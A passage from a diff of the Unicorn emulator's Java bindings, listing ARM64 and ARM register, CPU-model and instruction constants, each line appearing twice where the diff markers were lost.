public static final int UC_ARM64_REG_Q22 = 126;
public static final int UC_ARM64_REG_Q23 = 127;
public static final int UC_ARM64_REG_Q24 = 128;
public static final int UC_ARM64_REG_Q25 = 129;
public static final int UC_ARM64_REG_Q26 = 130;
public static final int UC_ARM64_REG_Q27 = 131;
public static final int UC_ARM64_REG_Q28 = 132;
public static final int UC_ARM64_REG_Q29 = 133;
public static final int UC_ARM64_REG_Q30 = 134;
public static final int UC_ARM64_REG_Q31 = 135;
public static final int UC_ARM64_REG_S0 = 136;
public static final int UC_ARM64_REG_S1 = 137;
public static final int UC_ARM64_REG_S2 = 138;
public static final int UC_ARM64_REG_S3 = 139;
public static final int UC_ARM64_REG_S4 = 140;
public static final int UC_ARM64_REG_S5 = 141;
public static final int UC_ARM64_REG_S6 = 142;
public static final int UC_ARM64_REG_S7 = 143;
public static final int UC_ARM64_REG_S8 = 144;
public static final int UC_ARM64_REG_S9 = 145;
public static final int UC_ARM64_REG_S10 = 146;
public static final int UC_ARM64_REG_S11 = 147;
public static final int UC_ARM64_REG_S12 = 148;
public static final int UC_ARM64_REG_S13 = 149;
public static final int UC_ARM64_REG_S14 = 150;
public static final int UC_ARM64_REG_S15 = 151;
public static final int UC_ARM64_REG_S16 = 152;
public static final int UC_ARM64_REG_S17 = 153;
public static final int UC_ARM64_REG_S18 = 154;
public static final int UC_ARM64_REG_S19 = 155;
public static final int UC_ARM64_REG_S20 = 156;
public static final int UC_ARM64_REG_S21 = 157;
public static final int UC_ARM64_REG_S22 = 158;
public static final int UC_ARM64_REG_S23 = 159;
public static final int UC_ARM64_REG_S24 = 160;
public static final int UC_ARM64_REG_S25 = 161;
public static final int UC_ARM64_REG_S26 = 162;
public static final int UC_ARM64_REG_S27 = 163;
public static final int UC_ARM64_REG_S28 = 164;
public static final int UC_ARM64_REG_S29 = 165;
public static final int UC_ARM64_REG_S30 = 166;
public static final int UC_ARM64_REG_S31 = 167;
public static final int UC_ARM64_REG_W0 = 168;
public static final int UC_ARM64_REG_W1 = 169;
public static final int UC_ARM64_REG_W2 = 170;
public static final int UC_ARM64_REG_W3 = 171;
public static final int UC_ARM64_REG_W4 = 172;
public static final int UC_ARM64_REG_W5 = 173;
public static final int UC_ARM64_REG_W6 = 174;
public static final int UC_ARM64_REG_W7 = 175;
public static final int UC_ARM64_REG_W8 = 176;
public static final int UC_ARM64_REG_W9 = 177;
public static final int UC_ARM64_REG_W10 = 178;
public static final int UC_ARM64_REG_W11 = 179;
public static final int UC_ARM64_REG_W12 = 180;
public static final int UC_ARM64_REG_W13 = 181;
public static final int UC_ARM64_REG_W14 = 182;
public static final int UC_ARM64_REG_W15 = 183;
public static final int UC_ARM64_REG_W16 = 184;
public static final int UC_ARM64_REG_W17 = 185;
public static final int UC_ARM64_REG_W18 = 186;
public static final int UC_ARM64_REG_W19 = 187;
public static final int UC_ARM64_REG_W20 = 188;
public static final int UC_ARM64_REG_W21 = 189;
public static final int UC_ARM64_REG_W22 = 190;
public static final int UC_ARM64_REG_W23 = 191;
public static final int UC_ARM64_REG_W24 = 192;
public static final int UC_ARM64_REG_W25 = 193;
public static final int UC_ARM64_REG_W26 = 194;
public static final int UC_ARM64_REG_W27 = 195;
public static final int UC_ARM64_REG_W28 = 196;
public static final int UC_ARM64_REG_W29 = 197;
public static final int UC_ARM64_REG_W30 = 198;
public static final int UC_ARM64_REG_X0 = 199;
public static final int UC_ARM64_REG_X1 = 200;
public static final int UC_ARM64_REG_X2 = 201;
public static final int UC_ARM64_REG_X3 = 202;
public static final int UC_ARM64_REG_X4 = 203;
public static final int UC_ARM64_REG_X5 = 204;
public static final int UC_ARM64_REG_X6 = 205;
public static final int UC_ARM64_REG_X7 = 206;
public static final int UC_ARM64_REG_X8 = 207;
public static final int UC_ARM64_REG_X9 = 208;
public static final int UC_ARM64_REG_X10 = 209;
public static final int UC_ARM64_REG_X11 = 210;
public static final int UC_ARM64_REG_X12 = 211;
public static final int UC_ARM64_REG_X13 = 212;
public static final int UC_ARM64_REG_X14 = 213;
public static final int UC_ARM64_REG_X15 = 214;
public static final int UC_ARM64_REG_X16 = 215;
public static final int UC_ARM64_REG_X17 = 216;
public static final int UC_ARM64_REG_X18 = 217;
public static final int UC_ARM64_REG_X19 = 218;
public static final int UC_ARM64_REG_X20 = 219;
public static final int UC_ARM64_REG_X21 = 220;
public static final int UC_ARM64_REG_X22 = 221;
public static final int UC_ARM64_REG_X23 = 222;
public static final int UC_ARM64_REG_X24 = 223;
public static final int UC_ARM64_REG_X25 = 224;
public static final int UC_ARM64_REG_X26 = 225;
public static final int UC_ARM64_REG_X27 = 226;
public static final int UC_ARM64_REG_X28 = 227;
public static final int UC_ARM64_REG_V0 = 228;
public static final int UC_ARM64_REG_V1 = 229;
public static final int UC_ARM64_REG_V2 = 230;
public static final int UC_ARM64_REG_V3 = 231;
public static final int UC_ARM64_REG_V4 = 232;
public static final int UC_ARM64_REG_V5 = 233;
public static final int UC_ARM64_REG_V6 = 234;
public static final int UC_ARM64_REG_V7 = 235;
public static final int UC_ARM64_REG_V8 = 236;
public static final int UC_ARM64_REG_V9 = 237;
public static final int UC_ARM64_REG_V10 = 238;
public static final int UC_ARM64_REG_V11 = 239;
public static final int UC_ARM64_REG_V12 = 240;
public static final int UC_ARM64_REG_V13 = 241;
public static final int UC_ARM64_REG_V14 = 242;
public static final int UC_ARM64_REG_V15 = 243;
public static final int UC_ARM64_REG_V16 = 244;
public static final int UC_ARM64_REG_V17 = 245;
public static final int UC_ARM64_REG_V18 = 246;
public static final int UC_ARM64_REG_V19 = 247;
public static final int UC_ARM64_REG_V20 = 248;
public static final int UC_ARM64_REG_V21 = 249;
public static final int UC_ARM64_REG_V22 = 250;
public static final int UC_ARM64_REG_V23 = 251;
public static final int UC_ARM64_REG_V24 = 252;
public static final int UC_ARM64_REG_V25 = 253;
public static final int UC_ARM64_REG_V26 = 254;
public static final int UC_ARM64_REG_V27 = 255;
public static final int UC_ARM64_REG_V28 = 256;
public static final int UC_ARM64_REG_V29 = 257;
public static final int UC_ARM64_REG_V30 = 258;
public static final int UC_ARM64_REG_V31 = 259;
public static final int UC_ARM64_REG_INVALID = 0;
public static final int UC_ARM64_REG_X29 = 1;
public static final int UC_ARM64_REG_X30 = 2;
public static final int UC_ARM64_REG_NZCV = 3;
public static final int UC_ARM64_REG_SP = 4;
public static final int UC_ARM64_REG_WSP = 5;
public static final int UC_ARM64_REG_WZR = 6;
public static final int UC_ARM64_REG_XZR = 7;
public static final int UC_ARM64_REG_B0 = 8;
public static final int UC_ARM64_REG_B1 = 9;
public static final int UC_ARM64_REG_B2 = 10;
public static final int UC_ARM64_REG_B3 = 11;
public static final int UC_ARM64_REG_B4 = 12;
public static final int UC_ARM64_REG_B5 = 13;
public static final int UC_ARM64_REG_B6 = 14;
public static final int UC_ARM64_REG_B7 = 15;
public static final int UC_ARM64_REG_B8 = 16;
public static final int UC_ARM64_REG_B9 = 17;
public static final int UC_ARM64_REG_B10 = 18;
public static final int UC_ARM64_REG_B11 = 19;
public static final int UC_ARM64_REG_B12 = 20;
public static final int UC_ARM64_REG_B13 = 21;
public static final int UC_ARM64_REG_B14 = 22;
public static final int UC_ARM64_REG_B15 = 23;
public static final int UC_ARM64_REG_B16 = 24;
public static final int UC_ARM64_REG_B17 = 25;
public static final int UC_ARM64_REG_B18 = 26;
public static final int UC_ARM64_REG_B19 = 27;
public static final int UC_ARM64_REG_B20 = 28;
public static final int UC_ARM64_REG_B21 = 29;
public static final int UC_ARM64_REG_B22 = 30;
public static final int UC_ARM64_REG_B23 = 31;
public static final int UC_ARM64_REG_B24 = 32;
public static final int UC_ARM64_REG_B25 = 33;
public static final int UC_ARM64_REG_B26 = 34;
public static final int UC_ARM64_REG_B27 = 35;
public static final int UC_ARM64_REG_B28 = 36;
public static final int UC_ARM64_REG_B29 = 37;
public static final int UC_ARM64_REG_B30 = 38;
public static final int UC_ARM64_REG_B31 = 39;
public static final int UC_ARM64_REG_D0 = 40;
public static final int UC_ARM64_REG_D1 = 41;
public static final int UC_ARM64_REG_D2 = 42;
public static final int UC_ARM64_REG_D3 = 43;
public static final int UC_ARM64_REG_D4 = 44;
public static final int UC_ARM64_REG_D5 = 45;
public static final int UC_ARM64_REG_D6 = 46;
public static final int UC_ARM64_REG_D7 = 47;
public static final int UC_ARM64_REG_D8 = 48;
public static final int UC_ARM64_REG_D9 = 49;
public static final int UC_ARM64_REG_D10 = 50;
public static final int UC_ARM64_REG_D11 = 51;
public static final int UC_ARM64_REG_D12 = 52;
public static final int UC_ARM64_REG_D13 = 53;
public static final int UC_ARM64_REG_D14 = 54;
public static final int UC_ARM64_REG_D15 = 55;
public static final int UC_ARM64_REG_D16 = 56;
public static final int UC_ARM64_REG_D17 = 57;
public static final int UC_ARM64_REG_D18 = 58;
public static final int UC_ARM64_REG_D19 = 59;
public static final int UC_ARM64_REG_D20 = 60;
public static final int UC_ARM64_REG_D21 = 61;
public static final int UC_ARM64_REG_D22 = 62;
public static final int UC_ARM64_REG_D23 = 63;
public static final int UC_ARM64_REG_D24 = 64;
public static final int UC_ARM64_REG_D25 = 65;
public static final int UC_ARM64_REG_D26 = 66;
public static final int UC_ARM64_REG_D27 = 67;
public static final int UC_ARM64_REG_D28 = 68;
public static final int UC_ARM64_REG_D29 = 69;
public static final int UC_ARM64_REG_D30 = 70;
public static final int UC_ARM64_REG_D31 = 71;
public static final int UC_ARM64_REG_H0 = 72;
public static final int UC_ARM64_REG_H1 = 73;
public static final int UC_ARM64_REG_H2 = 74;
public static final int UC_ARM64_REG_H3 = 75;
public static final int UC_ARM64_REG_H4 = 76;
public static final int UC_ARM64_REG_H5 = 77;
public static final int UC_ARM64_REG_H6 = 78;
public static final int UC_ARM64_REG_H7 = 79;
public static final int UC_ARM64_REG_H8 = 80;
public static final int UC_ARM64_REG_H9 = 81;
public static final int UC_ARM64_REG_H10 = 82;
public static final int UC_ARM64_REG_H11 = 83;
public static final int UC_ARM64_REG_H12 = 84;
public static final int UC_ARM64_REG_H13 = 85;
public static final int UC_ARM64_REG_H14 = 86;
public static final int UC_ARM64_REG_H15 = 87;
public static final int UC_ARM64_REG_H16 = 88;
public static final int UC_ARM64_REG_H17 = 89;
public static final int UC_ARM64_REG_H18 = 90;
public static final int UC_ARM64_REG_H19 = 91;
public static final int UC_ARM64_REG_H20 = 92;
public static final int UC_ARM64_REG_H21 = 93;
public static final int UC_ARM64_REG_H22 = 94;
public static final int UC_ARM64_REG_H23 = 95;
public static final int UC_ARM64_REG_H24 = 96;
public static final int UC_ARM64_REG_H25 = 97;
public static final int UC_ARM64_REG_H26 = 98;
public static final int UC_ARM64_REG_H27 = 99;
public static final int UC_ARM64_REG_H28 = 100;
public static final int UC_ARM64_REG_H29 = 101;
public static final int UC_ARM64_REG_H30 = 102;
public static final int UC_ARM64_REG_H31 = 103;
public static final int UC_ARM64_REG_Q0 = 104;
public static final int UC_ARM64_REG_Q1 = 105;
public static final int UC_ARM64_REG_Q2 = 106;
public static final int UC_ARM64_REG_Q3 = 107;
public static final int UC_ARM64_REG_Q4 = 108;
public static final int UC_ARM64_REG_Q5 = 109;
public static final int UC_ARM64_REG_Q6 = 110;
public static final int UC_ARM64_REG_Q7 = 111;
public static final int UC_ARM64_REG_Q8 = 112;
public static final int UC_ARM64_REG_Q9 = 113;
public static final int UC_ARM64_REG_Q10 = 114;
public static final int UC_ARM64_REG_Q11 = 115;
public static final int UC_ARM64_REG_Q12 = 116;
public static final int UC_ARM64_REG_Q13 = 117;
public static final int UC_ARM64_REG_Q14 = 118;
public static final int UC_ARM64_REG_Q15 = 119;
public static final int UC_ARM64_REG_Q16 = 120;
public static final int UC_ARM64_REG_Q17 = 121;
public static final int UC_ARM64_REG_Q18 = 122;
public static final int UC_ARM64_REG_Q19 = 123;
public static final int UC_ARM64_REG_Q20 = 124;
public static final int UC_ARM64_REG_Q21 = 125;
public static final int UC_ARM64_REG_Q22 = 126;
public static final int UC_ARM64_REG_Q23 = 127;
public static final int UC_ARM64_REG_Q24 = 128;
public static final int UC_ARM64_REG_Q25 = 129;
public static final int UC_ARM64_REG_Q26 = 130;
public static final int UC_ARM64_REG_Q27 = 131;
public static final int UC_ARM64_REG_Q28 = 132;
public static final int UC_ARM64_REG_Q29 = 133;
public static final int UC_ARM64_REG_Q30 = 134;
public static final int UC_ARM64_REG_Q31 = 135;
public static final int UC_ARM64_REG_S0 = 136;
public static final int UC_ARM64_REG_S1 = 137;
public static final int UC_ARM64_REG_S2 = 138;
public static final int UC_ARM64_REG_S3 = 139;
public static final int UC_ARM64_REG_S4 = 140;
public static final int UC_ARM64_REG_S5 = 141;
public static final int UC_ARM64_REG_S6 = 142;
public static final int UC_ARM64_REG_S7 = 143;
public static final int UC_ARM64_REG_S8 = 144;
public static final int UC_ARM64_REG_S9 = 145;
public static final int UC_ARM64_REG_S10 = 146;
public static final int UC_ARM64_REG_S11 = 147;
public static final int UC_ARM64_REG_S12 = 148;
public static final int UC_ARM64_REG_S13 = 149;
public static final int UC_ARM64_REG_S14 = 150;
public static final int UC_ARM64_REG_S15 = 151;
public static final int UC_ARM64_REG_S16 = 152;
public static final int UC_ARM64_REG_S17 = 153;
public static final int UC_ARM64_REG_S18 = 154;
public static final int UC_ARM64_REG_S19 = 155;
public static final int UC_ARM64_REG_S20 = 156;
public static final int UC_ARM64_REG_S21 = 157;
public static final int UC_ARM64_REG_S22 = 158;
public static final int UC_ARM64_REG_S23 = 159;
public static final int UC_ARM64_REG_S24 = 160;
public static final int UC_ARM64_REG_S25 = 161;
public static final int UC_ARM64_REG_S26 = 162;
public static final int UC_ARM64_REG_S27 = 163;
public static final int UC_ARM64_REG_S28 = 164;
public static final int UC_ARM64_REG_S29 = 165;
public static final int UC_ARM64_REG_S30 = 166;
public static final int UC_ARM64_REG_S31 = 167;
public static final int UC_ARM64_REG_W0 = 168;
public static final int UC_ARM64_REG_W1 = 169;
public static final int UC_ARM64_REG_W2 = 170;
public static final int UC_ARM64_REG_W3 = 171;
public static final int UC_ARM64_REG_W4 = 172;
public static final int UC_ARM64_REG_W5 = 173;
public static final int UC_ARM64_REG_W6 = 174;
public static final int UC_ARM64_REG_W7 = 175;
public static final int UC_ARM64_REG_W8 = 176;
public static final int UC_ARM64_REG_W9 = 177;
public static final int UC_ARM64_REG_W10 = 178;
public static final int UC_ARM64_REG_W11 = 179;
public static final int UC_ARM64_REG_W12 = 180;
public static final int UC_ARM64_REG_W13 = 181;
public static final int UC_ARM64_REG_W14 = 182;
public static final int UC_ARM64_REG_W15 = 183;
public static final int UC_ARM64_REG_W16 = 184;
public static final int UC_ARM64_REG_W17 = 185;
public static final int UC_ARM64_REG_W18 = 186;
public static final int UC_ARM64_REG_W19 = 187;
public static final int UC_ARM64_REG_W20 = 188;
public static final int UC_ARM64_REG_W21 = 189;
public static final int UC_ARM64_REG_W22 = 190;
public static final int UC_ARM64_REG_W23 = 191;
public static final int UC_ARM64_REG_W24 = 192;
public static final int UC_ARM64_REG_W25 = 193;
public static final int UC_ARM64_REG_W26 = 194;
public static final int UC_ARM64_REG_W27 = 195;
public static final int UC_ARM64_REG_W28 = 196;
public static final int UC_ARM64_REG_W29 = 197;
public static final int UC_ARM64_REG_W30 = 198;
public static final int UC_ARM64_REG_X0 = 199;
public static final int UC_ARM64_REG_X1 = 200;
public static final int UC_ARM64_REG_X2 = 201;
public static final int UC_ARM64_REG_X3 = 202;
public static final int UC_ARM64_REG_X4 = 203;
public static final int UC_ARM64_REG_X5 = 204;
public static final int UC_ARM64_REG_X6 = 205;
public static final int UC_ARM64_REG_X7 = 206;
public static final int UC_ARM64_REG_X8 = 207;
public static final int UC_ARM64_REG_X9 = 208;
public static final int UC_ARM64_REG_X10 = 209;
public static final int UC_ARM64_REG_X11 = 210;
public static final int UC_ARM64_REG_X12 = 211;
public static final int UC_ARM64_REG_X13 = 212;
public static final int UC_ARM64_REG_X14 = 213;
public static final int UC_ARM64_REG_X15 = 214;
public static final int UC_ARM64_REG_X16 = 215;
public static final int UC_ARM64_REG_X17 = 216;
public static final int UC_ARM64_REG_X18 = 217;
public static final int UC_ARM64_REG_X19 = 218;
public static final int UC_ARM64_REG_X20 = 219;
public static final int UC_ARM64_REG_X21 = 220;
public static final int UC_ARM64_REG_X22 = 221;
public static final int UC_ARM64_REG_X23 = 222;
public static final int UC_ARM64_REG_X24 = 223;
public static final int UC_ARM64_REG_X25 = 224;
public static final int UC_ARM64_REG_X26 = 225;
public static final int UC_ARM64_REG_X27 = 226;
public static final int UC_ARM64_REG_X28 = 227;
public static final int UC_ARM64_REG_V0 = 228;
public static final int UC_ARM64_REG_V1 = 229;
public static final int UC_ARM64_REG_V2 = 230;
public static final int UC_ARM64_REG_V3 = 231;
public static final int UC_ARM64_REG_V4 = 232;
public static final int UC_ARM64_REG_V5 = 233;
public static final int UC_ARM64_REG_V6 = 234;
public static final int UC_ARM64_REG_V7 = 235;
public static final int UC_ARM64_REG_V8 = 236;
public static final int UC_ARM64_REG_V9 = 237;
public static final int UC_ARM64_REG_V10 = 238;
public static final int UC_ARM64_REG_V11 = 239;
public static final int UC_ARM64_REG_V12 = 240;
public static final int UC_ARM64_REG_V13 = 241;
public static final int UC_ARM64_REG_V14 = 242;
public static final int UC_ARM64_REG_V15 = 243;
public static final int UC_ARM64_REG_V16 = 244;
public static final int UC_ARM64_REG_V17 = 245;
public static final int UC_ARM64_REG_V18 = 246;
public static final int UC_ARM64_REG_V19 = 247;
public static final int UC_ARM64_REG_V20 = 248;
public static final int UC_ARM64_REG_V21 = 249;
public static final int UC_ARM64_REG_V22 = 250;
public static final int UC_ARM64_REG_V23 = 251;
public static final int UC_ARM64_REG_V24 = 252;
public static final int UC_ARM64_REG_V25 = 253;
public static final int UC_ARM64_REG_V26 = 254;
public static final int UC_ARM64_REG_V27 = 255;
public static final int UC_ARM64_REG_V28 = 256;
public static final int UC_ARM64_REG_V29 = 257;
public static final int UC_ARM64_REG_V30 = 258;
public static final int UC_ARM64_REG_V31 = 259;
// pseudo registers
public static final int UC_ARM64_REG_PC = 260;
public static final int UC_ARM64_REG_CPACR_EL1 = 261;
// pseudo registers
public static final int UC_ARM64_REG_PC = 260;
public static final int UC_ARM64_REG_CPACR_EL1 = 261;
// thread registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_TPIDR_EL0 = 262;
public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263;
public static final int UC_ARM64_REG_TPIDR_EL1 = 264;
public static final int UC_ARM64_REG_PSTATE = 265;
// thread registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_TPIDR_EL0 = 262;
public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263;
public static final int UC_ARM64_REG_TPIDR_EL1 = 264;
public static final int UC_ARM64_REG_PSTATE = 265;
// exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_ELR_EL0 = 266;
public static final int UC_ARM64_REG_ELR_EL1 = 267;
public static final int UC_ARM64_REG_ELR_EL2 = 268;
public static final int UC_ARM64_REG_ELR_EL3 = 269;
// exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_ELR_EL0 = 266;
public static final int UC_ARM64_REG_ELR_EL1 = 267;
public static final int UC_ARM64_REG_ELR_EL2 = 268;
public static final int UC_ARM64_REG_ELR_EL3 = 269;
// stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_SP_EL0 = 270;
public static final int UC_ARM64_REG_SP_EL1 = 271;
public static final int UC_ARM64_REG_SP_EL2 = 272;
public static final int UC_ARM64_REG_SP_EL3 = 273;
// stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_SP_EL0 = 270;
public static final int UC_ARM64_REG_SP_EL1 = 271;
public static final int UC_ARM64_REG_SP_EL2 = 272;
public static final int UC_ARM64_REG_SP_EL3 = 273;
// other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_TTBR0_EL1 = 274;
public static final int UC_ARM64_REG_TTBR1_EL1 = 275;
public static final int UC_ARM64_REG_ESR_EL0 = 276;
public static final int UC_ARM64_REG_ESR_EL1 = 277;
public static final int UC_ARM64_REG_ESR_EL2 = 278;
public static final int UC_ARM64_REG_ESR_EL3 = 279;
public static final int UC_ARM64_REG_FAR_EL0 = 280;
public static final int UC_ARM64_REG_FAR_EL1 = 281;
public static final int UC_ARM64_REG_FAR_EL2 = 282;
public static final int UC_ARM64_REG_FAR_EL3 = 283;
public static final int UC_ARM64_REG_PAR_EL1 = 284;
public static final int UC_ARM64_REG_MAIR_EL1 = 285;
public static final int UC_ARM64_REG_VBAR_EL0 = 286;
public static final int UC_ARM64_REG_VBAR_EL1 = 287;
public static final int UC_ARM64_REG_VBAR_EL2 = 288;
public static final int UC_ARM64_REG_VBAR_EL3 = 289;
public static final int UC_ARM64_REG_CP_REG = 290;
// other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_TTBR0_EL1 = 274;
public static final int UC_ARM64_REG_TTBR1_EL1 = 275;
public static final int UC_ARM64_REG_ESR_EL0 = 276;
public static final int UC_ARM64_REG_ESR_EL1 = 277;
public static final int UC_ARM64_REG_ESR_EL2 = 278;
public static final int UC_ARM64_REG_ESR_EL3 = 279;
public static final int UC_ARM64_REG_FAR_EL0 = 280;
public static final int UC_ARM64_REG_FAR_EL1 = 281;
public static final int UC_ARM64_REG_FAR_EL2 = 282;
public static final int UC_ARM64_REG_FAR_EL3 = 283;
public static final int UC_ARM64_REG_PAR_EL1 = 284;
public static final int UC_ARM64_REG_MAIR_EL1 = 285;
public static final int UC_ARM64_REG_VBAR_EL0 = 286;
public static final int UC_ARM64_REG_VBAR_EL1 = 287;
public static final int UC_ARM64_REG_VBAR_EL2 = 288;
public static final int UC_ARM64_REG_VBAR_EL3 = 289;
public static final int UC_ARM64_REG_CP_REG = 290;
// floating point control and status registers
public static final int UC_ARM64_REG_FPCR = 291;
public static final int UC_ARM64_REG_FPSR = 292;
public static final int UC_ARM64_REG_ENDING = 293;
// floating point control and status registers
public static final int UC_ARM64_REG_FPCR = 291;
public static final int UC_ARM64_REG_FPSR = 292;
public static final int UC_ARM64_REG_ENDING = 293;
// alias registers
public static final int UC_ARM64_REG_IP0 = 215;
public static final int UC_ARM64_REG_IP1 = 216;
public static final int UC_ARM64_REG_FP = 1;
public static final int UC_ARM64_REG_LR = 2;
// alias registers
public static final int UC_ARM64_REG_IP0 = 215;
public static final int UC_ARM64_REG_IP1 = 216;
public static final int UC_ARM64_REG_FP = 1;
public static final int UC_ARM64_REG_LR = 2;
// ARM64 instructions
// ARM64 instructions
public static final int UC_ARM64_INS_INVALID = 0;
public static final int UC_ARM64_INS_MRS = 1;
public static final int UC_ARM64_INS_MSR = 2;
public static final int UC_ARM64_INS_SYS = 3;
public static final int UC_ARM64_INS_SYSL = 4;
public static final int UC_ARM64_INS_ENDING = 5;
public static final int UC_ARM64_INS_INVALID = 0;
public static final int UC_ARM64_INS_MRS = 1;
public static final int UC_ARM64_INS_MSR = 2;
public static final int UC_ARM64_INS_SYS = 3;
public static final int UC_ARM64_INS_SYSL = 4;
public static final int UC_ARM64_INS_ENDING = 5;
}

View File

@@ -4,195 +4,195 @@ package unicorn;
public interface ArmConst {
// ARM CPU
// ARM CPU
public static final int UC_CPU_ARM_926 = 0;
public static final int UC_CPU_ARM_946 = 1;
public static final int UC_CPU_ARM_1026 = 2;
public static final int UC_CPU_ARM_1136_R2 = 3;
public static final int UC_CPU_ARM_1136 = 4;
public static final int UC_CPU_ARM_1176 = 5;
public static final int UC_CPU_ARM_11MPCORE = 6;
public static final int UC_CPU_ARM_CORTEX_M0 = 7;
public static final int UC_CPU_ARM_CORTEX_M3 = 8;
public static final int UC_CPU_ARM_CORTEX_M4 = 9;
public static final int UC_CPU_ARM_CORTEX_M7 = 10;
public static final int UC_CPU_ARM_CORTEX_M33 = 11;
public static final int UC_CPU_ARM_CORTEX_R5 = 12;
public static final int UC_CPU_ARM_CORTEX_R5F = 13;
public static final int UC_CPU_ARM_CORTEX_A7 = 14;
public static final int UC_CPU_ARM_CORTEX_A8 = 15;
public static final int UC_CPU_ARM_CORTEX_A9 = 16;
public static final int UC_CPU_ARM_CORTEX_A15 = 17;
public static final int UC_CPU_ARM_TI925T = 18;
public static final int UC_CPU_ARM_SA1100 = 19;
public static final int UC_CPU_ARM_SA1110 = 20;
public static final int UC_CPU_ARM_PXA250 = 21;
public static final int UC_CPU_ARM_PXA255 = 22;
public static final int UC_CPU_ARM_PXA260 = 23;
public static final int UC_CPU_ARM_PXA261 = 24;
public static final int UC_CPU_ARM_PXA262 = 25;
public static final int UC_CPU_ARM_PXA270 = 26;
public static final int UC_CPU_ARM_PXA270A0 = 27;
public static final int UC_CPU_ARM_PXA270A1 = 28;
public static final int UC_CPU_ARM_PXA270B0 = 29;
public static final int UC_CPU_ARM_PXA270B1 = 30;
public static final int UC_CPU_ARM_PXA270C0 = 31;
public static final int UC_CPU_ARM_PXA270C5 = 32;
public static final int UC_CPU_ARM_MAX = 33;
public static final int UC_CPU_ARM_ENDING = 34;
public static final int UC_CPU_ARM_926 = 0;
public static final int UC_CPU_ARM_946 = 1;
public static final int UC_CPU_ARM_1026 = 2;
public static final int UC_CPU_ARM_1136_R2 = 3;
public static final int UC_CPU_ARM_1136 = 4;
public static final int UC_CPU_ARM_1176 = 5;
public static final int UC_CPU_ARM_11MPCORE = 6;
public static final int UC_CPU_ARM_CORTEX_M0 = 7;
public static final int UC_CPU_ARM_CORTEX_M3 = 8;
public static final int UC_CPU_ARM_CORTEX_M4 = 9;
public static final int UC_CPU_ARM_CORTEX_M7 = 10;
public static final int UC_CPU_ARM_CORTEX_M33 = 11;
public static final int UC_CPU_ARM_CORTEX_R5 = 12;
public static final int UC_CPU_ARM_CORTEX_R5F = 13;
public static final int UC_CPU_ARM_CORTEX_A7 = 14;
public static final int UC_CPU_ARM_CORTEX_A8 = 15;
public static final int UC_CPU_ARM_CORTEX_A9 = 16;
public static final int UC_CPU_ARM_CORTEX_A15 = 17;
public static final int UC_CPU_ARM_TI925T = 18;
public static final int UC_CPU_ARM_SA1100 = 19;
public static final int UC_CPU_ARM_SA1110 = 20;
public static final int UC_CPU_ARM_PXA250 = 21;
public static final int UC_CPU_ARM_PXA255 = 22;
public static final int UC_CPU_ARM_PXA260 = 23;
public static final int UC_CPU_ARM_PXA261 = 24;
public static final int UC_CPU_ARM_PXA262 = 25;
public static final int UC_CPU_ARM_PXA270 = 26;
public static final int UC_CPU_ARM_PXA270A0 = 27;
public static final int UC_CPU_ARM_PXA270A1 = 28;
public static final int UC_CPU_ARM_PXA270B0 = 29;
public static final int UC_CPU_ARM_PXA270B1 = 30;
public static final int UC_CPU_ARM_PXA270C0 = 31;
public static final int UC_CPU_ARM_PXA270C5 = 32;
public static final int UC_CPU_ARM_MAX = 33;
public static final int UC_CPU_ARM_ENDING = 34;
// ARM registers
// ARM registers
public static final int UC_ARM_REG_INVALID = 0;
public static final int UC_ARM_REG_APSR = 1;
public static final int UC_ARM_REG_APSR_NZCV = 2;
public static final int UC_ARM_REG_CPSR = 3;
public static final int UC_ARM_REG_FPEXC = 4;
public static final int UC_ARM_REG_FPINST = 5;
public static final int UC_ARM_REG_FPSCR = 6;
public static final int UC_ARM_REG_FPSCR_NZCV = 7;
public static final int UC_ARM_REG_FPSID = 8;
public static final int UC_ARM_REG_ITSTATE = 9;
public static final int UC_ARM_REG_LR = 10;
public static final int UC_ARM_REG_PC = 11;
public static final int UC_ARM_REG_SP = 12;
public static final int UC_ARM_REG_SPSR = 13;
public static final int UC_ARM_REG_D0 = 14;
public static final int UC_ARM_REG_D1 = 15;
public static final int UC_ARM_REG_D2 = 16;
public static final int UC_ARM_REG_D3 = 17;
public static final int UC_ARM_REG_D4 = 18;
public static final int UC_ARM_REG_D5 = 19;
public static final int UC_ARM_REG_D6 = 20;
public static final int UC_ARM_REG_D7 = 21;
public static final int UC_ARM_REG_D8 = 22;
public static final int UC_ARM_REG_D9 = 23;
public static final int UC_ARM_REG_D10 = 24;
public static final int UC_ARM_REG_D11 = 25;
public static final int UC_ARM_REG_D12 = 26;
public static final int UC_ARM_REG_D13 = 27;
public static final int UC_ARM_REG_D14 = 28;
public static final int UC_ARM_REG_D15 = 29;
public static final int UC_ARM_REG_D16 = 30;
public static final int UC_ARM_REG_D17 = 31;
public static final int UC_ARM_REG_D18 = 32;
public static final int UC_ARM_REG_D19 = 33;
public static final int UC_ARM_REG_D20 = 34;
public static final int UC_ARM_REG_D21 = 35;
public static final int UC_ARM_REG_D22 = 36;
public static final int UC_ARM_REG_D23 = 37;
public static final int UC_ARM_REG_D24 = 38;
public static final int UC_ARM_REG_D25 = 39;
public static final int UC_ARM_REG_D26 = 40;
public static final int UC_ARM_REG_D27 = 41;
public static final int UC_ARM_REG_D28 = 42;
public static final int UC_ARM_REG_D29 = 43;
public static final int UC_ARM_REG_D30 = 44;
public static final int UC_ARM_REG_D31 = 45;
public static final int UC_ARM_REG_FPINST2 = 46;
public static final int UC_ARM_REG_MVFR0 = 47;
public static final int UC_ARM_REG_MVFR1 = 48;
public static final int UC_ARM_REG_MVFR2 = 49;
public static final int UC_ARM_REG_Q0 = 50;
public static final int UC_ARM_REG_Q1 = 51;
public static final int UC_ARM_REG_Q2 = 52;
public static final int UC_ARM_REG_Q3 = 53;
public static final int UC_ARM_REG_Q4 = 54;
public static final int UC_ARM_REG_Q5 = 55;
public static final int UC_ARM_REG_Q6 = 56;
